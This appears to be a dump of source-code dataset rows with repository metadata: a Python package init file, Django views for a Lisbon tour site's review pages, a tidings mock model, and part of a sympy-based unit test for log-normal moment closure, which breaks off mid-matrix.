| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
62549ada8c3b627f49d5ad0f47632d6fdcb78372
| 59
|
py
|
Python
|
mpys/__init__.py
|
LukasMosser/MPyS
|
e1be4ab9ca77fb4fbcd8481cb67605586161a05e
|
[
"MIT"
] | 1
|
2019-11-12T03:41:58.000Z
|
2019-11-12T03:41:58.000Z
|
mpys/__init__.py
|
LukasMosser/MPyS
|
e1be4ab9ca77fb4fbcd8481cb67605586161a05e
|
[
"MIT"
] | null | null | null |
mpys/__init__.py
|
LukasMosser/MPyS
|
e1be4ab9ca77fb4fbcd8481cb67605586161a05e
|
[
"MIT"
] | 1
|
2019-11-12T03:42:00.000Z
|
2019-11-12T03:42:00.000Z
|
from .paths import *
from .ds import *
from .utils import *
| 19.666667
| 20
| 0.711864
| 9
| 59
| 4.666667
| 0.555556
| 0.47619
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.186441
| 59
| 3
| 21
| 19.666667
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
02b1575dc2d7ec0f07b851fd1da29bbd93987309
| 11,145
|
py
|
Python
|
src/review/views.py
|
pfskiev/lisbon
|
c756d0cd2f8fd2405c7123dab029748da75b6e5b
|
[
"MIT"
] | null | null | null |
src/review/views.py
|
pfskiev/lisbon
|
c756d0cd2f8fd2405c7123dab029748da75b6e5b
|
[
"MIT"
] | 1
|
2017-11-07T09:09:28.000Z
|
2017-11-07T09:09:28.000Z
|
src/review/views.py
|
pfskiev/lisbon
|
c756d0cd2f8fd2405c7123dab029748da75b6e5b
|
[
"MIT"
] | null | null | null |
from django.conf import settings
from django.contrib import messages
from django.core.mail import send_mail, BadHeaderError
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.core.urlresolvers import reverse
from django.db.models import Q
from django.http import HttpResponse
from django.shortcuts import render, redirect, get_object_or_404
from django.utils.translation import ugettext_lazy as _
from helpers.models import Helpers
from offer.models import OfferCategory
from tours.models import Category
from .forms import ReviewForm
from .models import Review
def get_lang(request):
lang = request.LANGUAGE_CODE
return lang
def get_company():
return Helpers.objects.get(id=1).company_name
def review_list(request):
query = request.GET.get('q')
if query:
return redirect(reverse('search') + '?q=' + query)
lang = request.LANGUAGE_CODE
breadcrumbs = [
{'url': '/', 'name': _('Home')},
{'url': '#', 'name': _('Reviews'), 'active': True}
]
footer = {
'pt': Helpers.objects.get(id=1).about_footer_PT,
'en': Helpers.objects.get(id=1).about_footer_EN,
'de': Helpers.objects.get(id=1).about_footer_DE
}
queryset_list = Review.objects.all().order_by('-timestamp')
paginator = Paginator(queryset_list, 6)
page_request_var = 'page'
page = request.GET.get(page_request_var)
try:
queryset = paginator.page(page)
except PageNotAnInteger:
queryset = paginator.page(1)
except EmptyPage:
queryset = paginator.page(paginator.num_pages)
form = ReviewForm(request.POST or None, request.FILES or None)
if form.is_valid():
if not request.user.is_authenticated():
return redirect('login_or_register')
else:
instance = form.save(commit=False)
instance.user = request.user
instance.save()
messages.success(request, 'Review Created')
message = 'Please check and approve new review: "' + request.POST.get('review', '') \
+ '" on http://www.goldenlisbon.com/admin/review/review/'
subject = 'New review!'
from_email = settings.EMAIL_HOST_USER
to_list = settings.EMAIL_TO
try:
send_mail(subject, message, from_email, to_list, fail_silently=False)
except BadHeaderError:
return HttpResponse('Invalid header found.')
return redirect('review:list')
context = {
'footer': {
'about': footer[lang],
'icon': Helpers.objects.get(id=1).footer_icon
},
'nav': {
'tour_categories_list': Category.objects.all(),
'offer_categories_list': OfferCategory.objects.all(),
},
'company': get_company(),
'object_list': queryset,
'title': _('Reviews'),
'breadcrumbs': breadcrumbs,
'value': _('Add'),
'form': form,
'page_request_var': page_request_var,
}
return render(request, 'partials/review.html', context)
def review_detail(request, pk=None):
query = request.GET.get('q')
if query:
return redirect(reverse('search') + '?q=' + query)
lang = request.LANGUAGE_CODE
review = Review.objects.get(pk=pk)
breadcrumbs = [
{'url': '/', 'name': _('Home')},
{'url': '/reviews', 'name': _('Reviews')},
{'url': '#', 'name': review.category.category, 'active': True}
]
footer = {
'pt': Helpers.objects.get(id=1).about_footer_PT,
'en': Helpers.objects.get(id=1).about_footer_EN,
'de': Helpers.objects.get(id=1).about_footer_DE
}
context = {
'footer': {
'about': footer[lang],
'icon': Helpers.objects.get(id=1).footer_icon
},
'nav': {
'tour_categories_list': Category.objects.all(),
'offer_categories_list': OfferCategory.objects.all(),
},
'company': get_company(),
'breadcrumbs': breadcrumbs,
'title': review.category.category,
'object': review,
}
return render(request, 'templates/_review_details.html', context)
def review_create(request):
query = request.GET.get('q')
if query:
return redirect(reverse('search') + '?q=' + query)
lang = request.LANGUAGE_CODE
footer = {
'pt': Helpers.objects.get(id=1).about_footer_PT,
'en': Helpers.objects.get(id=1).about_footer_EN,
'de': Helpers.objects.get(id=1).about_footer_DE
}
breadcrumbs = [
{'url': '/', 'name': _('Home')},
{'url': '/reviews', 'name': _('Review')},
{'url': '#', 'name': _('Review creating'), 'active': True}],
if not request.user.is_authenticated():
return redirect('login_or_register')
else:
form = ReviewForm(request.POST or None, request.FILES or None)
if form.is_valid():
instance = form.save(commit=False)
instance.user = request.user
instance.save()
messages.success(request, 'Review Created')
message = 'Please check and approve new review: "' + request.POST.get('review', '') \
+ '" on http://www.goldenlisbon.com/admin/review/review/'
subject = 'New review!'
from_email = settings.EMAIL_HOST_USER
to_list = settings.EMAIL_TO
try:
send_mail(subject, message, from_email, to_list, fail_silently=False)
except BadHeaderError:
return HttpResponse('Invalid header found.')
return redirect('review:list')
context = {
'footer': {
'about': footer[lang],
'icon': Helpers.objects.get(id=1).footer_icon
},
'nav': {
'tour_categories_list': Category.objects.all(),
'offer_categories_list': OfferCategory.objects.all(),
},
'company': get_company(),
'lang': lang,
'title': 'Review creating',
'breadcrumbs': breadcrumbs,
'value': _('Add'),
'form': form
}
return render(request, 'templates/_form.html', context)
def review_update(request, pk=None):
query = request.GET.get('q')
if query:
return redirect(reverse('search') + '?q=' + query)
lang = request.LANGUAGE_CODE
footer = {
'pt': Helpers.objects.get(id=1).about_footer_PT,
'en': Helpers.objects.get(id=1).about_footer_EN,
'de': Helpers.objects.get(id=1).about_footer_DE
}
if not request.user.is_staff or not request.user.is_superuser:
return redirect('accounts:signup')
else:
instance = get_object_or_404(Review, pk=pk)
breadcrumbs = [
{'url': '/', 'name': _('Home'), 'active': False},
{'url': '/reviews', 'name': _('Review'), 'active': False},
{'url': '#', 'name': instance.title, 'active': True}]
form = ReviewForm(request.POST or None, request.FILES or None, instance=instance)
if form.is_valid():
instance = form.save(commit=False)
instance.save()
messages.success(request, 'Review saved')
return redirect('review:list')
context = {
'footer': {
'about': footer[lang],
'icon': Helpers.objects.get(id=1).footer_icon
},
'nav': {
'tour_categories_list': Category.objects.all(),
'offer_categories_list': OfferCategory.objects.all(),
},
'company': get_company(),
'lang': lang,
'title': 'Review Edit',
'breadcrumbs': breadcrumbs,
'instance': instance,
'form': form,
'value': _('Add'),
}
return render(request, 'templates/_form.html', context)
def review_filter(request, slug=None):
query = request.GET.get('q')
if query:
return redirect(reverse('search') + '?q=' + query)
lang = request.LANGUAGE_CODE
footer = {
'pt': Helpers.objects.get(id=1).about_footer_PT,
'en': Helpers.objects.get(id=1).about_footer_EN,
'de': Helpers.objects.get(id=1).about_footer_DE
}
category = Category.objects.filter(url__icontains=slug)
queryset_list = Review.objects.filter(category__category__url__contains=slug)
query = request.GET.get('q')
if query:
queryset_list = queryset_list.filter(
Q(review__icontains=query) |
Q(user__name__icontains=query)
# Q(category__category__icontains=query)
).distinct()
paginator = Paginator(queryset_list, 6)
page_request_var = 'page'
page = request.GET.get(page_request_var)
try:
queryset = paginator.page(page)
except PageNotAnInteger:
queryset = paginator.page(1)
except EmptyPage:
queryset = paginator.page(paginator.num_pages)
if not request.user.is_authenticated():
return redirect('login_or_register')
else:
form = ReviewForm(request.POST or None, request.FILES or None)
if form.is_valid():
instance = form.save(commit=False)
instance.user = request.user
instance.save()
messages.success(request, 'Review Created')
message = 'Please check and approve new review: "' + request.POST.get('review', '') \
+ '" on http://www.goldenlisbon.com/admin/review/review/'
subject = 'New review!'
from_email = settings.EMAIL_HOST_USER
to_list = settings.EMAIL_TO
try:
send_mail(subject, message, from_email, to_list, fail_silently=False)
except BadHeaderError:
return HttpResponse('Invalid header found.')
return redirect('review:list')
context = {
'footer': {
'about': footer[lang],
'icon': Helpers.objects.get(id=1).footer_icon
},
'nav': {
'tour_categories_list': Category.objects.all(),
'offer_categories_list': OfferCategory.objects.all(),
},
'breadcrumbs': [
{'url': '/', 'name': _('Home')},
{'url': '/reviews', 'name': _('Reviews')},
{'url': '#', 'name': category[0], 'active': True}
],
'title': category[0],
'object_list': queryset,
'form': form,
'value': _('Add'),
'page_request_var': page_request_var
}
return render(request, 'partials/review_filter.html', context)
def review_delete(request, pk=None):
query = request.GET.get('q')
if query:
return redirect(reverse('search') + '?q=' + query)
if not request.user.is_staff or not request.user.is_superuser:
return redirect('accounts:signup')
instance = get_object_or_404(Review, pk=pk)
instance.delete()
messages.success(request, 'Review deleted')
return redirect('review:list')
| 35.268987
| 97
| 0.58367
| 1,203
| 11,145
| 5.244389
| 0.123026
| 0.034871
| 0.056586
| 0.063243
| 0.763195
| 0.756063
| 0.734823
| 0.724996
| 0.714852
| 0.698367
| 0
| 0.00449
| 0.280574
| 11,145
| 315
| 98
| 35.380952
| 0.782365
| 0.00341
| 0
| 0.710714
| 0
| 0
| 0.146511
| 0.014588
| 0
| 0
| 0
| 0
| 0
| 1
| 0.028571
| false
| 0
| 0.05
| 0.003571
| 0.171429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
02be5d0c9bf938072372e496c7db6e7fd4956410
| 260
|
py
|
Python
|
tests/mockapp/models.py
|
Mozilla-GitHub-Standards/4a4749ba7d28fec451e80ed9de9947acce774a0b4c7db797dc32439740ac770d
|
818465d581145ce740b8bc18f1148093a857ed79
|
[
"BSD-3-Clause"
] | 22
|
2015-04-15T19:15:14.000Z
|
2022-02-01T01:36:53.000Z
|
tests/mockapp/models.py
|
Mozilla-GitHub-Standards/4a4749ba7d28fec451e80ed9de9947acce774a0b4c7db797dc32439740ac770d
|
818465d581145ce740b8bc18f1148093a857ed79
|
[
"BSD-3-Clause"
] | 29
|
2015-04-22T18:37:02.000Z
|
2020-12-17T01:43:52.000Z
|
tests/mockapp/models.py
|
Mozilla-GitHub-Standards/4a4749ba7d28fec451e80ed9de9947acce774a0b4c7db797dc32439740ac770d
|
818465d581145ce740b8bc18f1148093a857ed79
|
[
"BSD-3-Clause"
] | 5
|
2015-04-15T19:58:08.000Z
|
2021-12-28T21:05:41.000Z
|
from django.db import models
from tidings.models import NotificationsMixin
# TODO: figure out why placing the mixin *after* models.Model fails
# See also http://code.djangoproject.com/ticket/10249
class MockModel(NotificationsMixin, models.Model):
pass
| 26
| 67
| 0.792308
| 35
| 260
| 5.885714
| 0.8
| 0.106796
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022124
| 0.130769
| 260
| 9
| 68
| 28.888889
| 0.889381
| 0.45
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 0
| 1
| 0
| true
| 0.25
| 0.5
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 6
|
02d6fca7b35d1ee86dd3f8c84bdb49c17eb11f99
| 16,949
|
py
|
Python
|
src/means/tests/test_closure_log_normal.py
|
nicktimko/means
|
fe164916a1d84ab2a4fa039871d38ccdf638b1db
|
[
"MIT"
] | 10
|
2016-05-25T08:28:39.000Z
|
2020-06-04T03:19:50.000Z
|
src/means/tests/test_closure_log_normal.py
|
nicktimko/means
|
fe164916a1d84ab2a4fa039871d38ccdf638b1db
|
[
"MIT"
] | 5
|
2015-12-08T14:01:15.000Z
|
2020-01-10T22:42:18.000Z
|
src/means/tests/test_closure_log_normal.py
|
nicktimko/means
|
fe164916a1d84ab2a4fa039871d38ccdf638b1db
|
[
"MIT"
] | 6
|
2015-12-10T17:24:11.000Z
|
2021-03-22T16:12:17.000Z
|
import unittest
from means.core import Moment
import sympy
from means.approximation.mea.closure_log_normal import LogNormalClosure
from means.util.sympyhelpers import sympy_expressions_equal
from means.util.sympyhelpers import to_sympy_matrix
## for univariate or multivariate on dimerisation Model, we should have:
# m = to_sympy_matrix([
# ["c_1*(c_2-y_0)-2*c_0*yx2-2*c_0*y_0*(y_0-1)"],
# ["2*c_1*c_2-4*c_0*y_0-2*c_1*y_0+8*c_0*yx2-4*c_0*yx3-2*c_1*yx2+4*c_0*y_0 ** 2-8*c_0*y_0*yx2"],
# ["4*c_1*c_2+8*c_0*y_0-4*c_1*y_0-6*c_0*ym4-20*c_0*yx2+18*c_0*yx3-6*c_1*yx2-3*c_1*yx3-8*c_0*y_0 ** 2+6*c_0*yx2 ** 2+24*c_0*y_0*yx2-12*c_0*y_0*yx3"]
# ])
class TestLogNormalCloser(unittest.TestCase):
__n_counter = [
Moment([0, 0, 0], symbol=sympy.Integer(0)),
Moment([0, 0, 2], symbol=sympy.Symbol("yx2")),
Moment([0, 1, 1], symbol=sympy.Symbol("yx3")),
Moment([0, 2, 0], symbol=sympy.Symbol("yx4")),
Moment([1, 0, 1], symbol=sympy.Symbol("yx5")),
Moment([1, 1, 0], symbol=sympy.Symbol("yx6")),
Moment([2, 0, 0], symbol=sympy.Symbol("yx7")),
Moment([0, 0, 3], symbol=sympy.Symbol("yx8")),
Moment([0, 1, 2], symbol=sympy.Symbol("yx9")),
Moment([0, 2, 1], symbol=sympy.Symbol("yx10")),
Moment([0, 3, 0], symbol=sympy.Symbol("yx11")),
Moment([1, 0, 2], symbol=sympy.Symbol("yx12")),
Moment([1, 1, 1], symbol=sympy.Symbol("yx13")),
Moment([1, 2, 0], symbol=sympy.Symbol("yx14")),
Moment([2, 0, 1], symbol=sympy.Symbol("yx15")),
Moment([2, 1, 0], symbol=sympy.Symbol("yx16")),
Moment([3, 0, 0], symbol=sympy.Symbol("yx17")),
]
__k_counter = [
Moment([0, 0, 0], symbol=sympy.Integer(1)),
Moment([1, 0, 0], symbol=sympy.Symbol("y_0")),
Moment([0, 1, 0], symbol=sympy.Symbol("y_1")),
Moment([0, 0, 1], symbol=sympy.Symbol("y_2")),
Moment([0, 0, 2], symbol=sympy.Symbol("x_0_0_2")),
Moment([0, 1, 1], symbol=sympy.Symbol("x_0_1_1")),
Moment([0, 2, 0], symbol=sympy.Symbol("x_0_2_0")),
Moment([1, 0, 1], symbol=sympy.Symbol("x_1_0_1")),
Moment([1, 1, 0], symbol=sympy.Symbol("x_1_1_0")),
Moment([2, 0, 0], symbol=sympy.Symbol("x_2_0_0")),
Moment([0, 0, 3], symbol=sympy.Symbol("x_0_0_3")),
Moment([0, 1, 2], symbol=sympy.Symbol("x_0_1_2")),
Moment([0, 2, 1], symbol=sympy.Symbol("x_0_2_1")),
Moment([0, 3, 0], symbol=sympy.Symbol("x_0_3_0")),
Moment([1, 0, 2], symbol=sympy.Symbol("x_1_0_2")),
Moment([1, 1, 1], symbol=sympy.Symbol("x_1_1_1")),
Moment([1, 2, 0], symbol=sympy.Symbol("x_1_2_0")),
Moment([2, 0, 1], symbol=sympy.Symbol("x_2_0_1")),
Moment([2, 1, 0], symbol=sympy.Symbol("x_2_1_0")),
Moment([3, 0, 0], symbol=sympy.Symbol("x_3_0_0"))
]
__mfk = to_sympy_matrix([
["c_0 - c_1*y_0 - c_2*y_0*y_2/(c_6 + y_0) - c_2*y_2*yx17*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0)**3 - c_2*y_2*yx7*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 - c_2*yx15*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 - c_2*yx5*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0)"],
["c_3*y_0 - c_4*y_1"],
["c_4*y_1 - c_5*y_2"],
["2*c_4*y_1*y_2 + c_4*y_1 + 2*c_4*yx3 - 2*c_5*y_2**2 + c_5*y_2 - 2*c_5*yx2 - 2*y_2*(c_4*y_1 - c_5*y_2)"],
["c_3*y_0*y_2 + c_3*yx5 + c_4*y_1**2 - c_4*y_1*y_2 - c_4*y_1 + c_4*yx4 - c_5*y_1*y_2 - y_1*(c_4*y_1 - c_5*y_2) - y_2*(c_3*y_0 - c_4*y_1) + yx3*(-c_4 - c_5)"],
["2*c_3*y_0*y_1 + c_3*y_0 + 2*c_3*yx6 - 2*c_4*y_1**2 + c_4*y_1 - 2*c_4*yx4 - 2*y_1*(c_3*y_0 - c_4*y_1)"],
["c_0*y_2 - c_1*y_0*y_2 - c_2*y_0*y_2**2/(c_6 + y_0) - c_2*y_0*yx2/(c_6 + y_0) - c_2*y_2*yx15*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 - c_2*yx12*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0) + c_4*y_0*y_1 + c_4*yx6 - c_5*y_0*y_2 - y_0*(c_4*y_1 - c_5*y_2) - y_2*(c_0 - c_1*y_0 - c_2*y_0*y_2/(c_6 + y_0)) + yx5*(-c_1 - c_2*y_2*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0) - c_5)"],
["c_0*y_1 - c_1*y_0*y_1 - c_2*y_0*y_1*y_2/(c_6 + y_0) - c_2*y_0*yx3/(c_6 + y_0) - c_2*y_2*yx16*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 - c_2*yx13*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0) + c_3*y_0**2 + c_3*yx7 - c_4*y_0*y_1 - y_0*(c_3*y_0 - c_4*y_1) - y_1*(c_0 - c_1*y_0 - c_2*y_0*y_2/(c_6 + y_0)) + yx6*(-c_1 - c_2*y_2*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0) - c_4)"],
["2*c_0*y_0 + c_0 - 2*c_1*y_0**2 + c_1*y_0 - 2*c_2*y_0**2*y_2/(c_6 + y_0) + c_2*y_0*y_2/(c_6 + y_0) - 2*y_0*(c_0 - c_1*y_0 - c_2*y_0*y_2/(c_6 + y_0)) + yx15*(2*c_2*y_0*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 - 2*c_2*(y_0**2/(c_6 + y_0)**2 - 2*y_0/(c_6 + y_0) + 1)/(c_6 + y_0) + c_2*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2) + yx17*(2*c_2*y_0*y_2*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0)**3 - 2*c_2*y_2*(-y_0**2/(c_6 + y_0)**2 + 2*y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 + c_2*y_2*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0)**3) + yx5*(2*c_2*y_0*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0) - 2*c_2*y_0*(-y_0/(c_6 + y_0) + 2)/(c_6 + y_0) + c_2*(-y_0/(c_6 + y_0) + 1)/(c_6 + y_0)) + yx7*(-2*c_1 + 2*c_2*y_0*y_2*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2 - 2*c_2*y_2*(y_0**2/(c_6 + y_0)**2 - 2*y_0/(c_6 + y_0) + 1)/(c_6 + y_0) + c_2*y_2*(y_0/(c_6 + y_0) - 1)/(c_6 + y_0)**2)"]
])
def test_get_log_covariance(self):
log_variance_mat =to_sympy_matrix([
["log(1+yx7/y_0**2)", "0", "0"],
["0", "log(1+yx4/y_1**2)", "0"],
["0", "0", "log(1+yx2/y_2**2)"]
])
log_expectation_symbols = to_sympy_matrix([
["log(y_0)-log(1+yx7/y_0**2)/2"],
["log(y_1)-log(1+yx4/y_1**2)/2"],
["log(y_2)-log(1+yx2/y_2**2)/2"]
])
covariance_matrix = to_sympy_matrix([
["yx7","yx6","yx5"],
["yx6","yx4","yx3"],
["yx5","yx3","yx2"]])
expected = sympy.sympify("log(1 + yx6/(y_0*y_1))")
closer = LogNormalClosure(2, multivariate=True)
answer = closer._get_log_covariance(log_variance_mat, log_expectation_symbols, covariance_matrix, 0,1)
self.assertEqual(answer, expected)
answer1 = closer._get_log_covariance(log_variance_mat, log_expectation_symbols, covariance_matrix, 1,2)
answer2 = closer._get_log_covariance(log_variance_mat, log_expectation_symbols, covariance_matrix, 1,2)
#logcovariance between species 1 and 2 == covariance between sp. 2 and 1
self.assertEqual(answer1, answer2)
def test_get_covariance_symbol(self):
closer = LogNormalClosure(3,multivariate=True)
expected = sympy.Symbol("yx3")
answer = closer._get_covariance_symbol(self.__n_counter, 1, 2)
self.assertEqual(answer, expected)
def test_get_covariance_symbol2(self):
closer = LogNormalClosure(3,multivariate=True)
expected = sympy.Symbol("yx6")
answer = closer._get_covariance_symbol(self.__n_counter, 1, 0)
self.assertEqual(answer, expected)
def test_get_covariance_symbol_is_triangular(self):
closer = LogNormalClosure(3,multivariate=True)
#covariance between species 1 and 2 == covariance between sp. 2 and 1
answer1 =closer._get_covariance_symbol(self.__n_counter, 1, 0)
answer2 = closer._get_covariance_symbol(self.__n_counter, 0, 1)
self.assertEqual(answer1, answer2)
def test_compute_raw_moments(self):
expected = to_sympy_matrix([
["y_2**2+yx2"],
["y_1*y_2+yx3"],
["y_1**2+yx4"],
["y_0*y_2+yx5"],
["y_0*y_1+yx6"],
["y_0**2+yx7"],
["y_2**3+3*y_2*yx2+3*yx2**2/y_2+yx2**3/y_2**3"],
["y_1*y_2**2+y_1*yx2+2*y_2*yx3+2*yx2*yx3/y_2+yx3**2/y_1+yx2*yx3**2/(y_1*y_2**2)"],
["y_1**2*y_2+2*y_1*yx3+y_2*yx4+yx3**2/y_2+2*yx3*yx4/y_1+yx3**2*yx4/(y_1**2*y_2)"],
["y_1**3+3*y_1*yx4+3*yx4**2/y_1+yx4**3/y_1**3"],
["y_0*y_2**2+y_0*yx2+2*y_2*yx5+2*yx2*yx5/y_2+yx5**2/y_0+yx2*yx5**2/(y_0*y_2**2)"],
["y_0*y_1*y_2+y_0*yx3+y_1*yx5+y_2*yx6+yx3*yx5/y_2+yx3*yx6/y_1+yx5*yx6/y_0+yx3*yx5*yx6/(y_0*y_1*y_2)"],
["y_0*y_1**2+y_0*yx4+2*y_1*yx6+2*yx4*yx6/y_1+yx6**2/y_0+yx4*yx6**2/(y_0*y_1**2)"],
["y_0**2*y_2+2*y_0*yx5+y_2*yx7+yx5**2/y_2+2*yx5*yx7/y_0+yx5**2*yx7/(y_0**2*y_2)"],
["y_0**2*y_1+2*y_0*yx6+y_1*yx7+yx6**2/y_1+2*yx6*yx7/y_0+yx6**2*yx7/(y_0**2*y_1)"],
["y_0**3+3*y_0*yx7+3*yx7**2/y_0+yx7**3/y_0**3"]
])
closer = LogNormalClosure(2,multivariate=True)
answer = closer._compute_raw_moments(self.__n_counter, self.__k_counter,)
self.assertTrue(sympy_expressions_equal(answer, expected))
def test_log_normal_closer_wrapper(self):
central_from_raw_exprs = to_sympy_matrix(
[["x_0_0_2-y_2**2"],
["x_0_1_1-y_1*y_2"],
["x_0_2_0-y_1**2"],
["x_1_0_1-y_0*y_2"],
["x_1_1_0-y_0*y_1"],
["x_2_0_0-y_0**2"],
["-3*x_0_0_2*y_2+x_0_0_3+2*y_2**3"],
["-x_0_0_2*y_1-2*x_0_1_1*y_2+x_0_1_2+2*y_1*y_2**2"],
["-2*x_0_1_1*y_1-x_0_2_0*y_2+x_0_2_1+2*y_1**2*y_2"],
["-3*x_0_2_0*y_1+x_0_3_0+2*y_1**3"],
["-x_0_0_2*y_0-2*x_1_0_1*y_2+x_1_0_2+2*y_0*y_2**2"],
["-x_0_1_1*y_0-x_1_0_1*y_1-x_1_1_0*y_2+x_1_1_1+2*y_0*y_1*y_2"],
["-x_0_2_0*y_0-2*x_1_1_0*y_1+x_1_2_0+2*y_0*y_1**2"],
["-2*x_1_0_1*y_0-x_2_0_0*y_2+x_2_0_1+2*y_0**2*y_2"],
["-2*x_1_1_0*y_0-x_2_0_0*y_1+x_2_1_0+2*y_0**2*y_1"],
["-3*x_2_0_0*y_0+x_3_0_0+2*y_0**3"]
])
max_order = 2
expected = to_sympy_matrix([
["c_0-c_1*y_0-(c_2*c_6*yx5)/(c_6+y_0) ** 2-(c_2*y_0*y_2)/(c_6+y_0)+(c_2*c_6*y_2*yx7)/(c_6+y_0) ** 3+(c_2*c_6*yx5*(yx5*y_0 ** 2+2*y_2*yx7*y_0+yx5*yx7))/(y_0 ** 2*y_2*(c_6+y_0) ** 3)-(c_2*c_6*y_2*yx7 ** 2*(3*y_0 ** 2+yx7))/(y_0 ** 3*(c_6+y_0) ** 4)"],
["c_3*y_0-c_4*y_1"],
["c_4*y_1-c_5*y_2"],
["c_4*y_1+c_5*y_2+2*c_4*yx3-2*c_5*yx2"],
["c_3*yx5-c_4*yx3-c_4*y_1+c_4*yx4-c_5*yx3"],
["c_3*y_0+c_4*y_1-2*c_4*yx4+2*c_3*yx6"],
["-(c_2*y_0 ** 5*y_2 ** 2*yx2+c_1*y_0 ** 5*y_2 ** 2*yx5-c_4*y_0 ** 5*y_2 ** 2*yx6+c_5*y_0 ** 5*y_2 ** 2*yx5+2*c_2*c_6*y_0 ** 4*y_2 ** 2*yx2+3*c_1*c_6*y_0 ** 4*y_2 ** 2*yx5+c_2*c_6*y_0 ** 3*y_2 ** 3*yx5-3*c_4*c_6*y_0 ** 4*y_2 ** 2*yx6+3*c_5*c_6*y_0 ** 4*y_2 ** 2*yx5+c_2*c_6*y_0 ** 2*yx2*yx5 ** 2+c_2*c_6 ** 2*y_0*yx2*yx5 ** 2-c_2*c_6*y_2 ** 2*yx5 ** 2*yx7+c_2*c_6 ** 2*y_0 ** 3*y_2 ** 2*yx2+3*c_1*c_6 ** 2*y_0 ** 3*y_2 ** 2*yx5+c_1*c_6 ** 3*y_0 ** 2*y_2 ** 2*yx5+c_2*c_6 ** 2*y_0*y_2 ** 2*yx5 ** 2+c_2*c_6 ** 2*y_0 ** 2*y_2 ** 3*yx5-3*c_4*c_6 ** 2*y_0 ** 3*y_2 ** 2*yx6-c_4*c_6 ** 3*y_0 ** 2*y_2 ** 2*yx6+3*c_5*c_6 ** 2*y_0 ** 3*y_2 ** 2*yx5+c_5*c_6 ** 3*y_0 ** 2*y_2 ** 2*yx5+2*c_2*c_6*y_0 ** 3*y_2*yx2*yx5-2*c_2*c_6*y_0*y_2 ** 3*yx5*yx7+2*c_2*c_6 ** 2*y_0 ** 2*y_2*yx2*yx5)/(y_0 ** 2*y_2 ** 2*(c_6+y_0) ** 3)"],
["-(c_2*y_0 ** 5*y_1*y_2*yx3+c_1*y_0 ** 5*y_1*y_2*yx6-c_3*y_0 ** 5*y_1*y_2*yx7+c_4*y_0 ** 5*y_1*y_2*yx6-c_2*c_6*y_2 ** 2*yx6 ** 2*yx7-c_2*c_6*y_0 ** 2*y_2 ** 2*yx6 ** 2+c_2*c_6 ** 2*y_0 ** 2*y_1*y_2 ** 2*yx6+2*c_2*c_6*y_0 ** 4*y_1*y_2*yx3+3*c_1*c_6*y_0 ** 4*y_1*y_2*yx6-3*c_3*c_6*y_0 ** 4*y_1*y_2*yx7+3*c_4*c_6*y_0 ** 4*y_1*y_2*yx6+c_2*c_6*y_0 ** 3*y_1*yx3*yx5+c_2*c_6*y_0 ** 3*y_2*yx3*yx6+c_2*c_6*y_0 ** 2*yx3*yx5*yx6+c_2*c_6 ** 2*y_0*yx3*yx5*yx6+c_2*c_6 ** 2*y_0 ** 3*y_1*y_2*yx3+3*c_1*c_6 ** 2*y_0 ** 3*y_1*y_2*yx6+c_1*c_6 ** 3*y_0 ** 2*y_1*y_2*yx6+c_2*c_6*y_0 ** 3*y_1*y_2 ** 2*yx6-3*c_3*c_6 ** 2*y_0 ** 3*y_1*y_2*yx7-c_3*c_6 ** 3*y_0 ** 2*y_1*y_2*yx7+3*c_4*c_6 ** 2*y_0 ** 3*y_1*y_2*yx6+c_4*c_6 ** 3*y_0 ** 2*y_1*y_2*yx6+c_2*c_6 ** 2*y_0 ** 2*y_1*yx3*yx5+c_2*c_6 ** 2*y_0 ** 2*y_2*yx3*yx6+c_2*c_6*y_0 ** 2*y_1*y_2*yx5*yx6+c_2*c_6 ** 2*y_0*y_1*y_2*yx5*yx6-2*c_2*c_6*y_0*y_1*y_2 ** 2*yx6*yx7)/(y_0 ** 2*y_1*y_2*(c_6+y_0) ** 3)"],
